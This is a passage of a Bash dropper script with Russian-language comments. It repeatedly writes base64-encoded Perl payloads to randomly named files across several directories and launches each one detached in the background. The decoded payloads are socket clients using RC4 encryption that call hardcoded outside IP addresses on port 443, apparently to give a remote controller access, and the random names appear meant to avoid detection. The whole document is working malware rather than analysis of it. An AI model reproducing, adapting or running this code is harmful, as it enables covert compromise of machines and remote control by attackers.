IyEvdXNyL2Jpbi9wZXJsCgp1c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CQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh
LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #53 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #53 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 54 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4yMDEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0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BjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #54 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #54 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 55 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQU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NzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #55 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #55 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 56 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4yMDInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDA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gMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #56 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #56 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 57 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhy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CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #57 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #57 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 58 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4yMDQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw
b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkK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aWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #58 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #58 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 59 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4yMDUnOwpteSAk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4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #59 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #59 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 60 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4yNTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw
b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g
MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW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FwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #60 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #60 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 61 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNTUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGk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FwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #61 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #61 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 62 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}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om | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #62 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #62 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 63 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNTcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NS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ycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
